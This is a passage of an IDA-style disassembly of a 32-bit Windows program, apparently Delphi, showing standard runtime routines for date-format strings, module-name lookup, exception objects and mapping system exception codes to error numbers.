		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_409012

loc_409002:				; CODE XREF: CODE:00409010j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_408F74	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40900B:				; DATA XREF: sub_408F74+9o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_409002
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409012:				; DATA XREF: sub_408F74+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_409020	dd 31h			; DATA XREF: sub_408F74+1Do

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409024	proc near		; CODE XREF: sub_40A020+11Cp
					; sub_40A020+149p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4091E6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		push	eax
		call	j_GetThreadLocale_0
		mov	ecx, offset dword_4091FC
		mov	edx, 1009h
		call	sub_408CEC
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_407058
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_4091BC
		mov	ax, ds:word_41E5AC
		sub	ax, 4
		jz	short loc_409098
		add	eax, 0FFFFFFF3h
		sub	ax, 2
		jb	short loc_409098
		xor	eax, eax
		jmp	short loc_40909A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409098:				; CODE XREF: sub_409024+65j
					; sub_409024+6Ej
		mov	al, 1

loc_40909A:				; CODE XREF: sub_409024+72j
		test	al, al
		jz	short loc_4090D3
		jmp	short loc_4090C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4090A0:				; CODE XREF: sub_409024+A8j
		mov	al, [esi+ebx-1]
		sub	al, 47h
		jz	short loc_4090C2
		sub	al, 20h
		jz	short loc_4090C2
		lea	eax, [ebp+var_8]
		mov	dl, [esi+ebx-1]
		call	sub_403670
		mov	edx, [ebp+var_8]
		mov	eax, edi
		call	sub_40372C

loc_4090C2:				; CODE XREF: sub_409024+82j
					; sub_409024+86j
		inc	ebx

loc_4090C3:				; CODE XREF: sub_409024+7Aj
		mov	eax, esi
		call	sub_403724
		cmp	ebx, eax
		jle	short loc_4090A0
		jmp	loc_4091CB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4090D3:				; CODE XREF: sub_409024+78j
		mov	eax, edi
		mov	edx, esi
		call	sub_40351C
		jmp	loc_4091CB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4090E1:				; CODE XREF: sub_409024+1A1j
		mov	al, [esi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_409117
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, 2
		mov	edx, ebx
		mov	eax, esi
		call	sub_40392C
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_40372C
		add	ebx, 2
		jmp	loc_4091BC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409117:				; CODE XREF: sub_409024+CDj
		mov	edx, offset dword_409200
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_40913D
		mov	eax, edi
		mov	edx, offset dword_40920C
		call	sub_40372C
		inc	ebx
		jmp	short loc_4091BB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40913D:				; CODE XREF: sub_409024+108j
		mov	edx, offset aYyyy_0 ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_409165
		mov	eax, edi
		mov	edx, offset aEeee ; "eeee"
		call	sub_40372C
		add	ebx, 3
		jmp	short loc_4091BB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409165:				; CODE XREF: sub_409024+12Ej
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_40918B
		mov	eax, edi
		mov	edx, offset dword_409234
		call	sub_40372C
		inc	ebx
		jmp	short loc_4091BB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40918B:				; CODE XREF: sub_409024+156j
		mov	al, [esi+ebx-1]
		sub	al, 59h
		jz	short loc_409197
		sub	al, 20h
		jnz	short loc_4091A5

loc_409197:				; CODE XREF: sub_409024+16Dj
		mov	eax, edi
		mov	edx, offset dword_409240
		call	sub_40372C
		jmp	short loc_4091BB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4091A5:				; CODE XREF: sub_409024+171j
		lea	eax, [ebp+var_10]
		mov	dl, [esi+ebx-1]
		call	sub_403670
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_40372C

loc_4091BB:				; CODE XREF: sub_409024+117j
					; sub_409024+13Fj ...
		inc	ebx

loc_4091BC:				; CODE XREF: sub_409024+55j
					; sub_409024+EEj
		mov	eax, esi
		call	sub_403724
		cmp	ebx, eax
		jle	loc_4090E1

loc_4091CB:				; CODE XREF: sub_409024+AAj
					; sub_409024+B8j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4091ED

loc_4091D8:				; CODE XREF: CODE:004091EBj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_4034EC
		retn
sub_409024	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4091E6:				; DATA XREF: sub_409024+13o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4091D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4091ED:				; DATA XREF: sub_409024+1AFo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 1
dword_4091FC	dd 31h			; DATA XREF: sub_409024+33o
dword_409200	dd 6767h, 0FFFFFFFFh, 3	; DATA XREF: sub_409024+F3o
dword_40920C	dd 676767h		; DATA XREF: sub_409024+10Co
aYyyy_0		db 'yyyy',0             ; DATA XREF: sub_409024+119o
		align 4
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_409024+132o
		align 4
aYy		db 'yy',0               ; DATA XREF: sub_409024+141o
		align 4
		dd 0FFFFFFFFh, 2
dword_409234	dd 6565h, 0FFFFFFFFh, 1	; DATA XREF: sub_409024+15Ao
dword_409240	dd 65h			; DATA XREF: sub_409024+175o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409244	proc near		; CODE XREF: CODE:004092B3p
		test	eax, eax
		jz	short locret_40924D
		sub	eax, 1000h

locret_40924D:				; CODE XREF: sub_409244+2j
		retn
sub_409244	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp-330h]
		push	eax
		push	ebx
		call	j_VirtualQuery_0
		cmp	dword ptr [ebp-320h], 1000h
		jnz	short loc_40929A
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, [ebp-32Ch]
		push	eax
		call	j_GetModuleFileNameA_1
		test	eax, eax
		jnz	short loc_4092BD

loc_40929A:				; CODE XREF: CODE:0040927Cj
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, ds:dword_41E4D4
		push	eax
		call	j_GetModuleFileNameA_1
		mov	eax, ebx
		call	sub_409244
		mov	[ebp-8], eax
		jmp	short loc_4092C6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4092BD:				; CODE XREF: CODE:00409298j
		sub	ebx, [ebp-32Ch]
		mov	[ebp-8], ebx

loc_4092C6:				; CODE XREF: CODE:004092BBj
		lea	eax, [ebp-212h]
		mov	dl, 5Ch
		call	sub_409F00
		mov	edx, eax
		inc	edx
		lea	eax, [ebp-10Dh]
		mov	ecx, 104h
		call	sub_407588
		mov	ebx, offset dword_4093D0
		mov	edi, offset dword_4093D0
		mov	eax, esi
		mov	edx, ds:off_4061F4
		call	sub_402C40
		test	al, al
		jz	short loc_409322
		mov	eax, [esi+4]
		call	sub_4038E8
		mov	ebx, eax
		mov	eax, ebx
		call	sub_407534
		test	eax, eax
		jz	short loc_409322
		cmp	byte ptr [ebx+eax-1], 2Eh
		jz	short loc_409322
		mov	edi, offset dword_4093D4

loc_409322:				; CODE XREF: CODE:004092FFj
					; CODE:00409314j ...
		push	100h
		lea	eax, [ebp-312h]
		push	eax
		mov	eax, ds:off_41DC78
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_41E4D4
		call	sub_404638
		push	eax
		call	j_LoadStringA_0
		lea	edx, [ebp-458h]
		mov	eax, [esi]
		call	sub_402B5C
		lea	eax, [ebp-458h]
		mov	[ebp-358h], eax
		mov	byte ptr [ebp-354h], 4
		lea	eax, [ebp-10Dh]
		mov	[ebp-350h], eax
		mov	byte ptr [ebp-34Ch], 6
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	byte ptr [ebp-344h], 5
		mov	[ebp-340h], ebx
		mov	byte ptr [ebp-33Ch], 6
		mov	[ebp-338h], edi
		mov	byte ptr [ebp-334h], 6
		lea	eax, [ebp-358h]
		push	eax
		push	4
		lea	ecx, [ebp-312h]
		mov	edx, [ebp+8]
		mov	eax, [ebp-4]
		call	sub_407AF8
		mov	eax, [ebp-4]
		call	sub_407534
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_4093D0	dd 0			; DATA XREF: CODE:004092E6o
					; CODE:004092EBo
dword_4093D4	dd 2Eh,	0FBC0C481h, 68FFFFh, 8D000004h,	0E844244Ch, 0FFFFFE64h
					; DATA XREF: CODE:0040931Do
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	eax, ds:off_41DC18
		cmp	byte ptr [eax],	0
		jz	short loc_409410
		lea	edx, [esp+40h]
		mov	eax, ds:off_41DB30
		call	sub_40528C
		call	sub_40520F
		call	sub_40265C
		jmp	short loc_409446
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409410:				; CODE XREF: CODE:004093F4j
		push	40h
		lea	eax, [esp+4]
		push	eax
		mov	eax, ds:off_41DB0C
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_41E4D4
		call	sub_404638
		push	eax
		call	j_LoadStringA_0
		push	2010h
		lea	eax, [esp+4]
		push	eax
		lea	eax, [esp+48h]
		push	eax
		push	0
		call	j_MessageBoxA_0

loc_409446:				; CODE XREF: CODE:0040940Ej
		add	esp, 440h
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409450	proc near		; CODE XREF: sub_406CBC+Cp
					; sub_409608+32p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_40945F
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40945F:				; CODE XREF: sub_409450+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_40351C
		mov	eax, edi
		test	bl, bl
		jz	short loc_409484
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_409484:				; CODE XREF: sub_409450+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409450	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40948C	proc near		; CODE XREF: sub_406CD4+32p
					; sub_4096CC+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4094A0
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_4094A0:				; CODE XREF: sub_40948C+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4094E6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_407B2C
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4094ED

loc_4094DD:				; CODE XREF: CODE:004094EBj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40948C	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4094E6:				; DATA XREF: sub_40948C+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4094DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4094ED:				; DATA XREF: sub_40948C+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_409502
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_409502:				; CODE XREF: CODE:004094F1j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40950C	proc near		; CODE XREF: sub_40A398+67p
					; sub_40D884+29p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_40951B
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40951B:				; CODE XREF: sub_40950C+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_404B80
		mov	eax, edi
		test	bl, bl
		jz	short loc_409540
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_409540:				; CODE XREF: sub_40950C+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40950C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409548	proc near		; CODE XREF: sub_409608+51p
					; sub_4097A4+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_40955E
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40955E:				; CODE XREF: sub_409548+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4095B4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_404B80
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_407B2C
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4095BB

loc_4095A6:				; CODE XREF: CODE:004095B9j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_409548	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4095B4:				; DATA XREF: sub_409548+1Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4095A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4095BB:				; DATA XREF: sub_409548+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_4095D0
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_4095D0:				; CODE XREF: CODE:004095BFj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4095DC:				; DATA XREF: CODE:004062A0o
					; CODE:004062FCo ...
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_4095E7
		call	sub_402B84

locret_4095E7:				; CODE XREF: CODE:004095E0j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_4095E8	dd offset dword_4095EC	; DATA XREF: sub_40B194+50r
dword_4095EC	dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:004095E8o
		db 3 dup(0)
		dd offset off_401000
		align 8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409608	proc near		; CODE XREF: sub_409688+36p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_402698
		mov	esi, eax
		jmp	short loc_409619
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409618:				; CODE XREF: sub_409608+1Dj
		inc	ebx

loc_409619:				; CODE XREF: sub_409608+Ej
		cmp	ebx, 6
		jg	short loc_409627
		cmp	esi, ds:dword_41C1F8[ebx*8]
		jnz	short loc_409618

loc_409627:				; CODE XREF: sub_409608+14j
		cmp	ebx, 6
		jg	short loc_409641
		mov	ecx, ds:dword_41C1FC[ebx*8]
		mov	dl, 1
		mov	eax, ds:off_406314
		call	sub_409450
		jmp	short loc_40965E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409641:				; CODE XREF: sub_409608+22j
		mov	[esp+8+var_8], esi
		mov	[esp+8+var_4], 0
		push	esp
		push	0
		mov	ecx, ds:off_41DB08
		mov	dl, 1
		mov	eax, ds:off_406314
		call	sub_409548

loc_40965E:				; CODE XREF: sub_409608+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_409608	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_409668	dd offset dword_40966C	; DATA XREF: sub_40B194+3Br
dword_40966C	dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA	XREF: CODE:00409668o
		dd offset off_401000
		align 8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409688	proc near		; DATA XREF: sub_409B0C+5Co
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	edx
		jz	short loc_40969B
		dec	edx
		jz	short loc_4096A2
		dec	edx
		sub	edx, 16h
		jb	short loc_4096A9
		jmp	short loc_4096BE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40969B:				; CODE XREF: sub_409688+6j
		mov	eax, ds:dword_41E5F4
		jmp	short loc_4096C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4096A2:				; CODE XREF: sub_409688+9j
		mov	eax, ds:dword_41E5F8
		jmp	short loc_4096C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4096A9:				; CODE XREF: sub_409688+Fj
		lea	eax, dword_41C218[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_409450
		jmp	short loc_4096C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4096BE:				; CODE XREF: sub_409688+11j
		call	sub_409608

loc_4096C3:				; CODE XREF: sub_409688+18j
					; sub_409688+1Fj ...
		push	ebx
		jmp	sub_402F98
sub_409688	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4096CC	proc near		; CODE XREF: sub_409788+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_409768
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_409701
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_403560
		jmp	short loc_40970E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409701:				; CODE XREF: sub_4096CC+27j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_41DC0C
		call	sub_404B80

loc_40970E:				; CODE XREF: sub_4096CC+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, ds:off_41DC40
		call	sub_404B80
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_406A1C
		call	sub_40948C
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40976F

loc_409757:				; CODE XREF: CODE:0040976Dj
		lea	eax, [ebp+var_20]
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_4096CC	endp ; sp = -3Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409768:				; DATA XREF: sub_4096CC+1Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_409757
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40976F:				; DATA XREF: sub_4096CC+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409778	proc near		; CODE XREF: sub_409788+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_402F98
sub_409778	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409788	proc near		; DATA XREF: sub_409B0C+95o

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_4096CC
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, dword ptr [ebp+arg_0]
		call	sub_409778
		pop	ebp
		retn	4
sub_409788	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4097A4	proc near		; DATA XREF: sub_409B0C+A0o

var_8		= dword	ptr -8
var_4		= byte ptr -4

		add	esp, 0FFFFFFF8h
		xor	eax, eax
		mov	[esp+8+var_8], eax
		mov	[esp+8+var_4], 0Bh
		push	esp
		push	0
		mov	ecx, ds:off_41DB20
		mov	dl, 1
		mov	eax, ds:off_406A7C
		call	sub_409548
		call	sub_402F98
		pop	ecx
		pop	edx
		retn
sub_4097A4	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4097D0	proc near		; CODE XREF: CODE:00409850p
					; sub_409A30+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_409805
		jz	short loc_409834
		cmp	eax, 0C000008Eh
		jg	short loc_4097F7
		jz	short loc_409837
		sub	eax, 0C0000005h
		jz	short loc_409840
		sub	eax, 87h
		jz	short loc_40982E
		dec	eax
		jz	short loc_40983D
		jmp	short loc_40984C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4097F7:				; CODE XREF: sub_4097D0+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_409834
		jz	short loc_40983A
		jmp	short loc_40984C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409805:				; CODE XREF: sub_4097D0+7j
		cmp	eax, 0C0000096h
		jg	short loc_40981D
		jz	short loc_409843
		sub	eax, 0C0000093h
		jz	short loc_40983D
		dec	eax
		jz	short loc_40982B
		dec	eax
		jz	short loc_409831
		jmp	short loc_40984C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40981D:				; CODE XREF: sub_4097D0+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_409849
		sub	eax, 3Dh
		jz	short loc_409846
		jmp	short loc_40984C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40982B:				; CODE XREF: sub_4097D0+46j
		mov	al, 3
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40982E:				; CODE XREF: sub_4097D0+20j
		mov	al, 4
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409831:				; CODE XREF: sub_4097D0+49j
		mov	al, 5
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409834:				; CODE XREF: sub_4097D0+9j
					; sub_4097D0+2Fj
		mov	al, 6
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409837:				; CODE XREF: sub_4097D0+12j
		mov	al, 7
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40983A:				; CODE XREF: sub_4097D0+31j
		mov	al, 8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40983D:				; CODE XREF: sub_4097D0+23j
					; sub_4097D0+43j
		mov	al, 9
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409840:				; CODE XREF: sub_4097D0+19j
		mov	al, 0Bh
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409843:				; CODE XREF: sub_4097D0+3Cj
		mov	al, 0Ch
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409846:				; CODE XREF: sub_4097D0+57j
		mov	al, 0Dh
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409849:				; CODE XREF: sub_4097D0+52j
		mov	al, 0Eh
